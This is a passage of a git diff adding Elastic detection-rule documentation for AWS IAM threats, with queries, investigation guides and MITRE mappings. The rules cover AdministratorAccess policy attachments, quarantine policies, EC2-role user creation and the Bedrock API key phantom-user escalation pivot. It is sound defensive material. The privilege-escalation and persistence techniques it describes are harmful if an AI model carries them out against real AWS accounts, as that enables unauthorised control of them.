`AttachGroupPolicy` event and related CloudTrail entries ±30 minutes from the alert. +- Preserve AWS Config and GuardDuty records to support forensic analysis. + +**Scoping and investigation** +- Review additional IAM operations from the same caller (`CreateAccessKey`, `AttachRolePolicy`, `UpdateAssumeRolePolicy`). +- Identify whether new groups or roles were created shortly before or after the event. +- Check for subsequent API activity by newly privileged users (for example, S3, EC2, or IAM modifications). + +**Recovery and hardening** +- Reinforce least privilege, avoid assigning `AdministratorAccess` to groups. +- Use role-based access control with scoped permissions. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement SCPs at the organization level to restrict direct `AdministratorAccess` attachments. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation.. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachGroupPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-role.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-role.asciidoc new file mode 100644 index 0000000000..18ce509426 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-role.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-role]] +=== AWS IAM AdministratorAccess Policy Attached to Role + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised IAM roles. This rule looks for use of the IAM AttachRolePolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM role. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachRolePolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to Role* + + +The `AdministratorAccess` managed policy grants unrestricted privileges. +When attached to a role, it can enable privilege escalation or persistence, especially if the role is assumable by other accounts or services. +This rule detects `AttachRolePolicy` events where the `policyName` is `AdministratorAccess`. + + +*Possible investigation steps* + + +- **Identify both identities.** + Determine the calling user or role (`aws.cloudtrail.user_identity.arn`) and the target role (`aws.cloudtrail.request_parameters.roleName`). + Validate whether this change aligns with intended administrative actions. + +- **Review the target role’s trust policy.** + Examine who can assume the role (`AssumeRolePolicyDocument`). + If the role is assumable by external accounts, this may indicate a potential persistence or lateral movement path. + +- **Review CloudTrail details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields for anomalies. + Compare with historical operations by the same principal. + +- **Correlate with adjacent IAM events.** + Look for `UpdateAssumeRolePolicy`, `CreateAccessKey`, or `PassRole` calls. + These often accompany privilege escalation activity. + +- **Inspect downstream activity.** + Query CloudTrail for recent `AssumeRole` calls for the target role — determine if the newly elevated permissions were used. + + +*False positive analysis* + + +- **Delegated role management.** + Cloud administrators may legitimately grant temporary AdministratorAccess for troubleshooting. Confirm through tickets or change logs. +- **Automation or service-linked roles.** + Some services attach policies automatically for setup; verify whether the target is a service-linked role. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy. Remove the `AdministratorAccess` policy from the target role. +- Restrict access. Temporarily revoke the caller’s IAM privileges until the legitimacy of the action is confirmed. +- Audit trust policies. Review the role’s trust relationships to ensure only approved principals can assume it. +- Rotate credentials for any principals who assumed the affected role during the period of elevated privileges. + +**Evidence preservation** +- Export the triggering `AttachRolePolicy` event and related CloudTrail entries ±30 minutes from the alert. +- Preserve AWS Config snapshots and GuardDuty findings for traceability. + +**Scoping and investigation** +- Identify if the elevated role was subsequently assumed. + Correlate by matching `aws.cloudtrail.eventName:AssumeRole` with the target role ARN. +- Search for other recent IAM policy attachments or modifications by the same actor or IP. + +**Recovery and hardening** +- Apply least privilege policies; limit who can attach or modify administrative policies. +- Enforce IAM Conditions such as `aws:PrincipalArn` or `aws:ResourceTag` to limit policy attachment scope. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Implement SCPs at the organization level to restrict direct `AdministratorAccess` attachments. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation.. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachRolePolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..aa81e2f4e7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-user.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-aws-iam-administratoraccess-policy-attached-to-user]] +=== AWS IAM AdministratorAccess Policy Attached to User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by attaching additional permissions to compromised user accounts. This rule looks for use of the IAM AttachUserPolicy API operation to attach the highly permissive AdministratorAccess AWS managed policy to an existing IAM user. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachUserPolicy.html +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM AdministratorAccess Policy Attached to User* + + +The AWS-managed `AdministratorAccess` policy grants full access to all AWS services and resources. +When attached to a user, it effectively elevates that user to full administrative privileges. +An adversary with `iam:AttachUserPolicy` permissions can abuse this operation to escalate privileges or maintain persistence. +This rule detects `AttachUserPolicy` events where the attached policy name is `AdministratorAccess`. + + +*Possible investigation steps* + + +- **Validate intent and context.** + Identify the calling user (`aws.cloudtrail.user_identity.arn`) and the target IAM user (`aws.cloudtrail.request_parameters.userName`). + Confirm whether this was an intentional administrative action, part of provisioning automation, or a potential privilege escalation. + +- **Review CloudTrail event details.** + Check `source.ip`, `user_agent.original`, and `source.geo` fields. + Compare to historical login or automation behavior. Unrecognized IPs, non-SDK user agents, or new regions may indicate misuse. + +- **Correlate with related IAM activity.** + Search CloudTrail for additional IAM events around the same time (`CreateUser`, `CreateAccessKey`, `AttachGroupPolicy`, `PutUserPolicy`, etc.) that could indicate lateral movement or persistence attempts. + +- **Review the target user’s permissions.** + Determine if the target user already had elevated privileges or if this represents a meaningful privilege increase. + Check for new API calls from the target user post-attachment, especially `CreateAccessKey`, `UpdateAssumeRolePolicy`, or S3 access attempts. + +- **Investigate associated entities.** + Look for other alerts tied to the same caller or target within the past 48 hours to identify potential correlated activity. + + +*False positive analysis* + + +- **Legitimate administrative change.** + Policy attachments may be expected during provisioning or troubleshooting. Validate through change management records. +- **Authorized automation.** + Some CI/CD pipelines or identity automation systems temporarily attach this policy. Review automation logs and intended IAM behavior. +- **Delegated admin scenarios.** + Verify if the calling user or role is part of a delegated IAM administration group. + + +*Response and remediation* + + +**Immediate containment** +- Detach the policy. Remove the `AdministratorAccess` policy from the affected IAM user immediately (`aws iam detach-user-policy`). +- Rotate credentials. Rotate passwords and access keys for both the caller and target users. +- Restrict IAM permissions. Temporarily remove `iam:AttachUserPolicy` privileges from non-administrative roles during scoping. +- Enable or confirm MFA for affected accounts. + +**Evidence preservation** +- Export related `AttachUserPolicy` CloudTrail events ±30 minutes from the alert to a secure evidence bucket. +- Preserve GuardDuty findings and AWS Config snapshots for correlation. + +**Scoping and investigation** +- Search CloudTrail for subsequent use of the affected user’s credentials. + Look for newly created keys, S3 access, or changes to IAM trust policies. +- Review other accounts for similar policy attachment attempts from the same user or IP. + +**Recovery and hardening** +- Reinforce least privilege by granting only role-based admin access instead of direct user-level AdministratorAccess. +- Implement IAM service control policies (SCPs) to prevent attachment of `AdministratorAccess` except for trusted roles. +- Enable CloudTrail, GuardDuty, and Security Hub across all regions. +- Regularly audit IAM policy attachments through AWS Config or CloudFormation drift detection. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]: response steps related to IAM policy modification and unauthorized privilege escalation. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** for containment, analysis, and recovery guidance. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html#jf_administrator[AdministratorAccess Policy]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "policyArn=arn:aws:iam::aws:policy/AdministratorAccess") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc new file mode 100644 index 0000000000..809d0e6f1c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-compromisedkeyquarantine-policy-attached-to-user.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-aws-iam-compromisedkeyquarantine-policy-attached-to-user]] +=== AWS IAM CompromisedKeyQuarantine Policy Attached to User + +This rule looks for use of the IAM `AttachUserPolicy` API operation to attach the `CompromisedKeyQuarantine` or `CompromisedKeyQuarantineV2` AWS managed policies to an existing IAM user. This policy denies access to certain actions and is applied by the AWS team in the event that an IAM user's credentials have been compromised or exposed publicly. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantine.html/ +* https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSCompromisedKeyQuarantineV2.html/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM CompromisedKeyQuarantine Policy Attached to User* + + +The AWS IAM `CompromisedKeyQuarantine` and `CompromisedKeyQuarantineV2` managed policies deny certain action and is applied by the AWS team to a user with exposed credentials. +This action is accompanied by a support case which specifies instructions to follow before detaching the policy. + + +*Possible Investigation Steps* + + +- **Identify Potentially Compromised Identity**: Review the `userName` parameter of the `aws.cloudtrail.request_parameters` to determine the quarantined IAM entity. +- **Contextualize with AWS Support Case**: Review any information from AWS comtaining additional information about the quarantined account and the reasoning for quarantine. +- **Follow Support Case Instructions**: Do not revert the quarantine policy attachment or delete the compromised keys. Instead folow the instructions given in your support case. +- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in potentially suspicious activities. +- **Interview Relevant Personnel**: If the compromised key belongs to a user, verify the intent and authorization for these correlated actions with the person or team responsible for managing the compromised key. + + +*False Positive Analysis* + + +- There shouldn't be many false positives related to this action as it is inititated by AWS in response to compromised or publicly exposed credentials. + + +*Response and Remediation* + + +- **Immediate Review and Reversal**: Update the user IAM permissions to remove the quarantine policy and disable the compromised credentials. +- **Policy Update**: Review and possibly update your organization’s policies on credential storage to tighten control and prevent public exposure. +- **Incident Response**: If malicious intent is confirmed, consider it a data breach incident and initiate the incident response protocol. This includes further investigation, containment, and recovery. + + +*Additional Information:* + + +For further guidance on managing and securing credentials in AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS IAM User Guide] regarding security best practices and guidance on https://docs.aws.amazon.com/guardduty/latest/ug/compromised-creds.html[Remediating Potentially Compromised AWS Credentials]. + + +==== Rule query + + +[source, js] +---------------------------------- +iam where data_stream.dataset == "aws.cloudtrail" + and event.action == "AttachUserPolicy" + and event.outcome == "success" + and stringContains(aws.cloudtrail.request_parameters, "AWSCompromisedKeyQuarantine") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc new file mode 100644 index 0000000000..9fc3119c36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-create-user-via-assumed-role-on-ec2-instance.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-aws-iam-create-user-via-assumed-role-on-ec2-instance]] +=== AWS IAM Create User via Assumed Role on EC2 Instance + +Detects the creation of an AWS Identity and Access Management (IAM) user initiated by an assumed role on an EC2 instance. Assumed roles allow users or services to temporarily adopt different AWS permissions, but the creation of IAM users through these roles, particularly from within EC2 instances, may indicate a compromised instance. Adversaries might exploit such permissions to establish persistence by creating new IAM users under unauthorized conditions. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html +* https://www.dionach.com/en-us/breaking-into-the-cloud-red-team-tactics-for-aws-compromise/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM +* Service: AWS EC2 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Create User via Assumed Role on EC2 Instance* + + +This rule detects when an AWS Identity and Access Management (IAM) user is created through an assumed role on an EC2 instance. This action may indicate a potentially compromised instance where an adversary could be using the instance’s permissions to create a new IAM user, enabling persistent unauthorized access. + + +*Possible Investigation Steps* + + +- **Identify the Assumed Role and Initiating Instance**: + - **Role and Instance**: Examine the `aws.cloudtrail.user_identity.arn` field to determine the specific EC2 instance and role used for this action (e.g., `arn:aws:sts::[account-id]:assumed-role/[role-name]/[instance-id]`). Verify if this behavior aligns with expected usage or represents an anomaly. + +- **Analyze the Target IAM User**: + - **New User Details**: Inspect `aws.cloudtrail.request_parameters` to see the username that was created. Validate if the user is expected or authorized. + - **Review Creation Time and Context**: Compare the creation time (`@timestamp`) of the user with other activities from the same instance and role to assess if this creation was part of a larger chain of actions. + +- **Check User Agent and Tooling**: + - **User Agent Analysis**: Review `user_agent.original` to see if AWS CLI, SDK, or other tooling was used for this request. Identifiers such as `aws-cli`, `boto3`, or similar SDK names can indicate the method used, which may differentiate automation from interactive actions. + - **Source IP and Location**: Use the `source.ip` and `source.geo` fields to identify the IP address and geographic location of the event. Verify if this aligns with expected access patterns for your environment. + +- **Evaluate for Persistence Indicators**: + - **Role Permissions**: Check the permissions associated with the assumed role (`arn:aws:iam::[account-id]:role/[role-name]`) to determine if creating IAM users is a legitimate activity for this role. + - **Automated Role Patterns**: If the assumed role or instance typically creates IAM users for automation purposes, validate this action against historical records to confirm if the event is consistent with normal patterns. + +- **Review Related CloudTrail Events**: + - **Additional IAM Actions**: Investigate for other recent IAM or CloudTrail events tied to this role or instance, especially `CreateAccessKey` or `AttachUserPolicy` actions. These could signal further attempts to empower or utilize the newly created user. + - **Correlate with Other Suspicious Activities**: Determine if other roles or instances recently initiated similar unusual actions, such as privilege escalations or data access. + + +*False Positive Analysis* + + +- **Expected Automation**: Assumed roles may be used by legitimate automated systems that create users for specific workflows. Confirm if this event aligns with known automation activities. +- **Role Exceptions**: If this action is routine for specific roles, consider adding those roles to a monitored exception list for streamlined review. + + +*Response and Remediation* + + +- **Immediate Access Review**: If user creation was unauthorized, restrict the assumed role’s permissions to prevent further user creation. +- **Delete Unauthorized Users**: Confirm and remove any unauthorized IAM users, adjusting IAM policies to reduce similar risks. +- **Enhance Monitoring and Alerts**: Enable enhanced logging or real-time alerts for this role or instance to detect further unauthorized access attempts. +- **Policy Update**: Consider updating IAM policies associated with roles on EC2 instances to limit sensitive actions like IAM user creation. + + +*Additional Information* + + +For further guidance on managing IAM roles and permissions within AWS environments, refer to the https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateUser.html[AWS IAM documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.action: "CreateUser" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and user.id: *\:i-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc new file mode 100644 index 0000000000..7208b807fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-34-aws-iam-credentials-added-to-a-bedrock-api-key-phantom-user]] +=== AWS IAM Credentials Added to a Bedrock API Key Phantom User + +Identifies standard IAM credentials being added to an Amazon Bedrock API key phantom user, whose user name starts with "BedrockAPIKey-": either a long-term access key (CreateAccessKey) or a console password / login profile (CreateLoginProfile, UpdateLoginProfile). When a long-term Bedrock API key is generated through the AWS Console, AWS silently provisions a "BedrockAPIKey-" IAM user with the AmazonBedrockLimitedAccess managed policy. That user is intended only to back a Bedrock bearer token and should never hold standard programmatic keys or interactive console access. Adding either converts a Bedrock-scoped identity into general-purpose IAM credentials that inherit the policy's Bedrock control-plane and IAM, VPC, and KMS reconnaissance permissions and that persist after the Bedrock API key is revoked. This is the privilege-escalation and persistence pivot documented for Bedrock API key phantom users, and there is no legitimate workflow that produces it. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-api-keys +* https://docs.aws.amazon.com/bedrock/latest/userguide/api-keys.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: ES|QL +* Platform: AWS +* Domain: GenAI +* Service: AWS IAM +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM Credentials Added to a Bedrock API Key Phantom User* + + +Amazon Bedrock API keys authenticate with a bearer token. When a long-term key is created through the AWS Console, AWS provisions an IAM user named "BedrockAPIKey-" and attaches the AmazonBedrockLimitedAccess managed policy. That policy is broader than its name suggests: it grants Bedrock control-plane actions (including deletion of guardrails, custom models, and provisioned throughput) as well as IAM, VPC, and KMS reconnaissance. The phantom user is meant only to back the bearer token and should never hold standard access keys or an interactive console login. + +Adding an IAM access key (CreateAccessKey) or a console password (CreateLoginProfile/UpdateLoginProfile) to the phantom user escalates a Bedrock-scoped identity into general-purpose IAM credentials or interactive access that inherit the full policy scope and continue to work after the originating Bedrock API key is revoked. This is a deliberate privilege-escalation and persistence step. + + +*Possible investigation steps* + + +- Identify the actor in "aws.cloudtrail.user_identity.arn" and "aws.cloudtrail.user_identity.type", and review "source.ip" and "user_agent.original" for whether this is an expected administrator. +- Confirm the target phantom user and the credential type in "event.action" and "aws.cloudtrail.request_parameters", and enumerate the user's remaining credentials (service-specific credentials, access keys, login profile). +- Review the phantom user's subsequent activity for use of the new credential outside Bedrock (IAM, VPC, KMS, STS calls, or console logins). +- Correlate with the key-creation events (CreateUser and CreateServiceSpecificCredential for the same user) to reconstruct the timeline. + + +*False positive analysis* + + +- This should be near-zero. There is no standard workflow that adds access keys or login profiles to a "BedrockAPIKey-*" user. Treat any hit as suspicious until proven otherwise. + + +*Response and remediation* + + +- Remove the access key or login profile on the phantom user and, if compromise is suspected, deactivate or delete the associated Bedrock service-specific credential. +- Review the actor's recent activity and rotate or restrict its credentials. +- Deploy a Service Control Policy that denies "iam:CreateAccessKey" and "iam:CreateLoginProfile" on "arn:aws:iam::*:user/BedrockAPIKey-*" to block this pivot organization-wide. + + +==== Setup + + +This rule requires AWS CloudTrail logs ingested via the Elastic AWS integration. See https://docs.elastic.co/integrations/aws/cloudtrail for setup details. + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* METADATA _id, _version, _index +| WHERE event.provider == "iam.amazonaws.com" + AND event.action IN ("CreateAccessKey", "CreateLoginProfile", "UpdateLoginProfile") + AND event.outcome == "success" + AND user.target.name LIKE "BedrockAPIKey-*" +| KEEP _id, _version, _index, @timestamp, aws.*, cloud.*, event.*, source.*, user.*, user_agent.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-customer-managed-policy-version-created-or-default-version-set.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-customer-managed-policy-version-created-or-default-version-set.asciidoc new file mode 100644 index 0000000000..5e3a48ae9e --- /dev/null +++ 